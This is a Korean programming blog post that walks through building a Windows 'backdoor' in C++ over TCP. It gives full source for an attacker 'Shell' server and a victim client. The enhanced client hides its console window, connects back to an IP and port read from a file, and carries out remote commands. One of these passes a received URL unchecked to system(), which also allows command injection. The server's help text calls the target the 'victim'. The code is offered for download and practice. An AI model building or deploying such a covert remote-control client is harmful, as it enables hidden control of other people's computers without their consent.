🧼C, C++/네트워크

백도어 만들기 C++ TCP

Mawile 2020. 9. 26.
728x90

시작하기 앞서서 C++11,14에서 정상작동 확인되었으며.

IDE는 DevCpp를 사용했으며

운영체제는 Windows10 home edition 정품 사용했습니다


안녕하세요!

이번에는 소켓 심화 1일 차

백도어 만들기입니다!

빨리 글 쓰고 싶어서 미치는 줄 알았어요 ㅋㅋㅋ

시작하기 앞서서

 

혹시 Windows10 기준 C++11로 TCP서버랑 클라이언트 만드는 법을 모르시는 분은 밑에 링크에 들어가셔서 보고 오세요!

C++ 소켓 기초 1

 

소켓 기본 C++ TCP

시작하기앞서서 저가 설명하는내용은 저가 이해한대로쓴것이며 주관적이고, 이 카테고리와 더불어 소켓에 대한 글을 쓴 목적은 복습하기위함입니다. 잘못된부분이있다면 댓글을 달아주세요. �

mawile.tistory.com

C++ 소켓 기초 2

 

소켓 데이터 C++ TCP

시작하기 앞서서 STDC++11,14에서 정상작동이 확인되었습니다. IDE는 DeVcpp을 사용했습니다.  " 이글은 윈도우소켓 기본 C++ TCP " 글의 다음글임을 참고해주세요! 이번에는 ! 서버와 클라이언트간의 ��

mawile.tistory.com

그럼 시작합니다....!!


코드는 지난 기초 글을 기준으로 이어서 사용할게요!

[[[   서버   ]]]

더보기

(  명령 전송  ) 

#include <iostream>
#include <winsock2.h>
using namespace std;

#define PK_SIZE 1026
int PORT;

int main(){
	while(1){
	cout << "포트를 입력하세요>> ";
	cin >> PORT;
	if(1<=PORT&&PORT<=25565) break;
	else cout << "잘못된 값\n";
}
system("cls");

WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);

SOCKET skt;
skt = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);

SOCKADDR_IN addr={0};
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = htonl(INADDR_ANY);

bind(skt, (SOCKADDR*)&addr,sizeof(addr));
listen(skt, SOMAXCONN);

SOCKADDR_IN client={0};
int client_size = sizeof(client);
SOCKET client_sock = accept(skt, (SOCKADDR*)&client,&client_size);

char cmd[PK_SIZE]={0},msgbox[PK_SIZE]={0};

while(1){
	cout << "Shell>> ";
	cin >> cmd;
	if(!strcmp(cmd,"exit")) break;
	else if(!strcmp(cmd,"help")) cout << "help - 도움말\nexit - 세선종료\nmsgbox - 메세지박스출력\nseeip - 피해자의 아이피보기\n";
	else if(!strcmp(cmd,"seeip")) cout << "피해자의 아이피주소>> " << inet_ntoa(client.sin_addr) << endl;
	else if(!strcmp(cmd,"msgbox")){
		send(client_sock,cmd,strlen(cmd),0);
			cout << "제목입력: ";
			cin >> msgbox;
			send(client_sock,msgbox,strlen(msgbox),0);
			cout << "내용입력: ";
			cin >> msgbox;
			send(client_sock,msgbox,strlen(msgbox),0);
	}
	else send(client_sock,cmd,strlen(cmd),0);
}

closesocket(client_sock);
closesocket(skt);
WSACleanup();
}

추가한 부분부터 설명드리자면

#define PK_SIZE 1026
int PORT;

이 부분!

PK_SIZE는 보낼 버퍼의 변수 배열 크기를 통일해준 겁니다!

어디는 1000 하고 어딘 100 하면 어지러우니까!

int PORT는 PORT 저장 함수!

while(1){
	cout << "포트를 입력하세요>> ";
	cin >> PORT;
	if(1<=PORT&&PORT<=25565) break;
	else cout << "잘못된 값\n";
}
system("cls");

포트를 입력받고 만약 포트가 1부터 25565 일시 반복문 나가기,

아닐 시 한 번 더 입력입니다 이거는 잘못된 포트 값 입력을 방지하기 위함입니다.

char cmd[PK_SIZE]={0},msgbox[PK_SIZE]={0};//보낼데이터저장 장소만들기~~

while(1){
	cout << "Shell>> ";
	cin >> cmd; //cmd에 내용넣기
	if(!strcmp(cmd,"exit")) break; //만약 cmd의내용이 0 (strcmp는 두값이 같을시 0 ,즉 boolean값으론 false반환)
	else if(!strcmp(cmd,"help")) cout << "help - 도움말\nexit - 세선종료\nmsgbox - 메세지박스출력\nseeip - 피해자의 아이피보기\n";
	else if(!strcmp(cmd,"seeip")) cout << "피해자의 아이피주소>> " << inet_ntoa(client.sin_addr) << endl; //클라이언트아이피출력
	else if(!strcmp(cmd,"msgbox")){ //cmd의내용이 msgbox일경우
		send(client_sock,cmd,strlen(cmd),0); //클라이언트에게 명령이 msgbox니까 msgbox전용 데이터받을준비를 해! 라고 미리알려줌
			cout << "제목입력: ";
			cin >> msgbox; //제목
			send(client_sock,msgbox,strlen(msgbox),0); //전송
			cout << "내용입력: ";
			cin >> msgbox; //내용
			send(client_sock,msgbox,strlen(msgbox),0); //전송
	}
	else send(client_sock,cmd,strlen(cmd),0); //이모든 값이 다아닐경우 그냥 cmd의값 전송
}

cmd는 클라이언트로 보낼 메인 데이터를 넣을 장소!

msgbox는 msgbox명령어 전용!

여기는 길어서 주석으로 설명!

[[[   클라이언트   ]]]

더보기

( 명령받기 )

#include <iostream>
#include <winsock2.h>
using namespace std;

#define PK_SIZE 1026
char IP[PK_SIZE]={0};
int PORT;

int main(){
	while(1){
	cout << "아이피를 입력하세요>> ";
	cin >> IP;
	cout << "포트를 입력하세요>> ";
	cin >> PORT;
	if(1<=PORT&&PORT<=25565) break;
	else cout << "잘못된 값\n";
}
system("cls");
	
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);

SOCKET skt;
skt = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);

SOCKADDR_IN addr={0};
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = inet_addr(IP);

while(1){
if(!connect(skt,(SOCKADDR*)&addr,sizeof(addr))) break;
}

char recve[PK_SIZE]={0},title[PK_SIZE]={0},sub[PK_SIZE]={0};

while(1){
	ZeroMemory(&recve,PK_SIZE);
	recv(skt, recve, PK_SIZE, 0);
	if(!strcmp(recve,"msgbox")){
	recv(skt, title, PK_SIZE, 0);
	recv(skt, sub, PK_SIZE, 0);
	MessageBox(0,sub,title,MB_OK);
	}
}

closesocket(skt);
WSACleanup();
}

서버와 중복되는 내용은 설명에서 제외했습니다!

while(1){
if(!connect(skt,(SOCKADDR*)&addr,sizeof(addr))) break;
}

 

connect함수에서 나온 값 0즉 boolean값으론 false는 ( 자료형 boolean에서 1은 true )

서버 연결에 성공했을 때입니다..!

연결이 될 때까지 묵시적으로 계속 연결 시도를 합니다~~

안 하고 서버를 안 킨 채로 시간 지나면 클라이언트가 저절로 꺼지더라고요!

char recve[PK_SIZE]={0},title[PK_SIZE]={0},sub[PK_SIZE]={0};

while(1){
	ZeroMemory(&recve,PK_SIZE);
    //recve데이터를 받아올장소의 메모리내용을 초기화!(안하면 가끔 이상한 기호가같이나와서 크기와 관련한문제로 오작동을 일으킬때가있어요)
	recv(skt, recve, PK_SIZE, 0); //서버에서 데이터받아오기!
	if(!strcmp(recve,"msgbox")){ //만약 내용이 msgbox일경우
	recv(skt, title, PK_SIZE, 0); //제목받아오고
	recv(skt, sub, PK_SIZE, 0); //내용받아오고
	MessageBox(0,sub,title,MB_OK); //출력
	}
}

이곳도 주석으로 설명하는 게 더 효과적일 것 같아서 주석을 달았습니다!


자 이제 백도어 만들기 어느 정도 이해 가셨으면 밑에 있는 예제도

이해가 가실까요??

저가 추가로 프로페셔널하게 몇몇 기능 더 추가했어요!

이거는 하단에 github링크를 올려놨으니 다운로드하여서 연습하셔도 돼요!

 

[[[   서버  ]]]

더보기

( 강화 버전 )

 

 

#include <iostream>
#include <winsock2.h>
using namespace std;

#define PK_SIZE 1026
int PORT;

void CD(){
	CONSOLE_CURSOR_INFO cur;
	GetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cur);
	cur.bVisible = 0;
	SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cur);
}

int main(){
	CD();
	while(1){
	cout << "포트를 입력하세요>> ";
	cin >> PORT;
	if(1<=PORT&&PORT<=25565) break;
	else cout << "잘못된 값\n";
}
system("cls");

WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);

SOCKET skt;
skt = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);

SOCKADDR_IN addr={0};
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = htonl(INADDR_ANY);

bind(skt, (SOCKADDR*)&addr,sizeof(addr));
listen(skt, SOMAXCONN);

SOCKADDR_IN client={0};
int client_size = sizeof(client);
SOCKET client_sock = accept(skt, (SOCKADDR*)&client,&client_size);

char cmd[PK_SIZE]={0},msgbox[PK_SIZE]={0};

while(!WSAGetLastError()){
	ZeroMemory(&cmd,PK_SIZE);
	ZeroMemory(&msgbox,PK_SIZE);
	cout << "Shell>> ";
	cin >> cmd;
	if(!strcmp(cmd,"exit")){
	send(client_sock,cmd,strlen(cmd),0);
	break;
	}
	else if(!strcmp(cmd,"help")) cout << "help - 도움말\nexit - 세선종료\nmsgbox - 메세지박스출력\nseeip - 피해자의 아이피보기\nopenweb - 웹페이지열기\nshowconsole - 피해자 콘솔창 온오프\n";
	else if(!strcmp(cmd,"seeip")) cout << "피해자의 아이피주소>> " << inet_ntoa(client.sin_addr) << endl;
	else if(!strcmp(cmd,"msgbox")){
		send(client_sock,cmd,strlen(cmd)+1,0);
			cout << "제목입력: ";
			cin >> msgbox;
			send(client_sock,msgbox,strlen(msgbox)+1,0);
			cout << "내용입력: ";
			cin >> msgbox;
			send(client_sock,msgbox,strlen(msgbox)+1,0);
	}
	else if(!strcmp(cmd,"openweb")){
		send(client_sock,cmd,strlen(cmd)+1,0);
			cout << "웹주소입력: ";
			cin >> msgbox;
			send(client_sock,msgbox,strlen(msgbox)+1,0);
	}
	else if(!strcmp(cmd,"showconsole")){
		send(client_sock,cmd,strlen(cmd)+1,0);
			cout << "입력(true, false): ";
			cin >> msgbox;
			if(!strcmp(msgbox,"true")||!strcmp(msgbox,"false")){
			send(client_sock,msgbox,strlen(msgbox)+1,0);
		}
		else send(client_sock,msgbox,strlen(msgbox)+1,0);
	}
	else send(client_sock,cmd,strlen(cmd)+1,0);
}

closesocket(client_sock);
closesocket(skt);
WSACleanup();
}

코드 설명 갑니다~!

void CD(){
	CONSOLE_CURSOR_INFO cur; //콘솔커서정보 구조체를 cur이란 이름으로저장
	GetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cur);
	cur.bVisible = 0; //bVisible 0 즉 false값으로바꾸기
	SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cur);
}
while(!WSAGetLastError()){ //WSAGetLastError() 클라이언트의접속이 끊겼을때에 break할겁니다
	ZeroMemory(&cmd,PK_SIZE);
	ZeroMemory(&msgbox,PK_SIZE);
	cout << "Shell>> ";
	cin >> cmd;
	if(!strcmp(cmd,"exit")){
	send(client_sock,cmd,strlen(cmd),0);
	break;
	}
	else if(!strcmp(cmd,"help")) cout << "help - 도움말\nexit - 세선종료\nmsgbox - 메세지박스출력\nseeip - 피해자의 아이피보기\nopenweb - 웹페이지열기\nshowconsole - 피해자 콘솔창 온오프\n";
	else if(!strcmp(cmd,"seeip")) cout << "피해자의 아이피주소>> " << inet_ntoa(client.sin_addr) << endl;
	else if(!strcmp(cmd,"msgbox")){
		send(client_sock,cmd,strlen(cmd)+1,0);
			cout << "제목입력: ";
			cin >> msgbox;
			send(client_sock,msgbox,strlen(msgbox)+1,0);
			cout << "내용입력: ";
			cin >> msgbox;
			send(client_sock,msgbox,strlen(msgbox)+1,0);
	}
	else if(!strcmp(cmd,"openweb")){
		send(client_sock,cmd,strlen(cmd)+1,0);
			cout << "웹주소입력: ";
			cin >> msgbox;
			send(client_sock,msgbox,strlen(msgbox)+1,0);
	}
	else if(!strcmp(cmd,"showconsole")){
		send(client_sock,cmd,strlen(cmd)+1,0);
			cout << "입력(true, false): ";
			cin >> msgbox;
			if(!strcmp(msgbox,"true")||!strcmp(msgbox,"false")){ //true나 false일경우만 캐치
			send(client_sock,msgbox,strlen(msgbox)+1,0); //전송
		}
		else send(client_sock,msgbox,strlen(msgbox)+1,0); //오류발생방지용(오류라기보단 결함..?)
	}
	else send(client_sock,cmd,strlen(cmd)+1,0);
}

[[[   클라이언트   ]]]

더보기

( 강화 버전 )

#include <iostream>
#include <winsock2.h>
#include <fstream>
using namespace std;

#define PK_SIZE 1026
HWND hwnd;
char IP[PK_SIZE]={0};
int PORT;

int main(){
	hwnd = GetConsoleWindow();
	ShowWindow(hwnd, SW_HIDE);
	ifstream ifs;
	ifs.open("get.txt");
	if(ifs.is_open()) ifs >> IP >> PORT;
	ifs.close();
	
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);

SOCKET skt;
skt = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);

SOCKADDR_IN addr={0};
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = inet_addr(IP);

while(1){
if(!connect(skt,(SOCKADDR*)&addr,sizeof(addr))) break;
}

char recve[PK_SIZE]={0},title[PK_SIZE]={0},sub[PK_SIZE]={0};

while(1){
	ZeroMemory(&recve,PK_SIZE);
	ZeroMemory(&title,PK_SIZE);
	ZeroMemory(&sub,PK_SIZE);
	recv(skt, recve, PK_SIZE, 0);
	if(!strcmp(recve,"exit")){
	break;
	}
	else if(!strcmp(recve,"msgbox")){
	recv(skt, title, PK_SIZE, 0);
	recv(skt, sub, PK_SIZE, 0);
	MessageBox(0,sub,title,MB_OK);
	}
	else if(!strcmp(recve,"openweb")){
	recv(skt, sub, PK_SIZE, 0);
	sprintf(title,"start %s",sub);
	system(title);
	}
	else if(!strcmp(recve,"showconsole")){
	recv(skt, sub, PK_SIZE, 0);
	if(!strcmp(sub,"true")){
	hwnd = GetConsoleWindow();
	ShowWindow(hwnd, SW_SHOW);	
	}
	else if(!strcmp(sub,"false")){
	hwnd = GetConsoleWindow();
	ShowWindow(hwnd, SW_HIDE);
	}
	}
}

closesocket(skt);
WSACleanup();
}

밑에는 새로 쓴 부분 설명!

HWND hwnd;

hwnd = GetConsoleWindow(); //콘솔정보가져오기
	ShowWindow(hwnd, SW_HIDE); //콘솔정보를 바탕으로 콘솔창숨기기
	ifstream ifs; //파일관리하기위해!
	ifs.open("get.txt"); //get.txt파일 같은경로에있는 열기와 확인하는역할
	if(ifs.is_open()) ifs >> IP >> PORT;
    /*
    [get.txt의내용]
    ===============
    127.0.0.1 4444
    */
	ifs.close(); //닫기

자 이쯤 하고 긴 글 봐주셔서 감사합니다...

ㅠㅠㅠㅡㅜㅜ(힘들다.. 2시간 정도 포스팅했네요..!)

밑에는 시연 영상이고 저는 다음에는 더욱 재밌게 찾아오겠습니다!!!!


시연영상

 

다운로드

 

DRAGONPROCESS/backdoor

Contribute to DRAGONPROCESS/backdoor development by creating an account on GitHub.

github.com

 

728x90

'🧼C, C++ > 네트워크' 카테고리의 다른 글

소켓 기본 틀 #1  (0) 2020.10.05
리버스 쉘 Reverse Shell C++  (0) 2020.10.05
실시간 채팅 프로그램 C++ TCP  (6) 2020.10.01
소켓 데이터 C++ TCP  (0) 2020.09.24
소켓 기본 C++ TCP  (0) 2020.09.18

댓글